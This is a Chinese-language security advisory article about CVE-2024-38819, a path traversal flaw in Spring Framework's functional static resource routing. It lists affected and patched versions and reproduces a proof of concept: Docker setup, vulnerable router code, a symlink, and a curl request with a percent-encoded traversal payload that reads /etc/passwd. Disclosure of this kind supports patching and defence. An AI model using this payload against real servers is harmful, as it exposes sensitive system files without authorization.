Spring Framework 中一个严重漏洞(编号为 CVE-2024-38819,CVSS 评分为 7.5)已被公开披露,同时还披露了一个概念验证 (PoC) 漏洞。此漏洞允许攻击者进行路径遍历攻击,从而可能授予他们访问托管受影响 Spring 应用程序的服务器上的敏感文件的权限。
该漏洞会影响使用功能性 Web 框架 WebMvc.fn 或 WebFlux.fn 提供静态资源的应用程序。该漏洞由 Aeye 安全实验室的 Masato Anzai 发现并报告,攻击者可以利用该漏洞制作恶意 HTTP 请求来访问底层文件系统上的敏感文件。这些文件必须可供存在漏洞的 Spring 应用程序运行的进程访问。
Anzai 还在GitHub 上发布了一个概念验证 (PoC) 漏洞,展示了 CVE-2024-38819 是多么容易被利用。此漏洞对缺乏足够安全措施的静态资源服务应用程序构成了严重威胁。
该漏洞影响 Spring Framework 的以下版本:
5.3.0 至 5.3.40
6.0.0 至 6.0.24
6.1.0 至 6.1.13
该框架的较旧版本和不受支持的版本同样容易受到攻击。
Spring Framework团队已发布补丁修复该漏洞,强烈建议用户立即升级至以下修复版本:
5.3.x → 升级到5.3.41
6.0.x → 升级到6.0.25
6.1.x → 升级至6.1.14
概念验证(PoC)
执行步骤
1.构建 Docker 镜像(Spring Boot 3.3.4,基于 Spring Framework 6.1.13)
cd vuln
docker build -t cve-2024-38819-poc
2.运行容器并向主机公开 8080 端口
docker run -d -p 8080:8080 --name cve-2024-38819-poc cve-2024-38819-poc
3.运行以下命令执行PoC并确认漏洞
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
如果攻击成功,/etc/passwd则会显示文件的内容。
解释
1.使用以下代码创建以使用和PathTraversalDemoApplication.java设置静态文件路由:RouterFunctionFileSystemResource
public RouterFunction<ServerResponse> staticResourceRouter() {
return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
}
2.将以下命令添加到 Dockerfile 以创建符号链接:
RUN ln -s /static /app/static/link
3.创建一个利用百分比编码通过符号链接遍历目录的有效负载。
Path:/static/link/%2e%2e/etc/passwd
4.使用以下curl命令执行PoC,验证攻击是否成功:
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
如果攻击成功,/etc/passwd则会显示文件的内容。
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里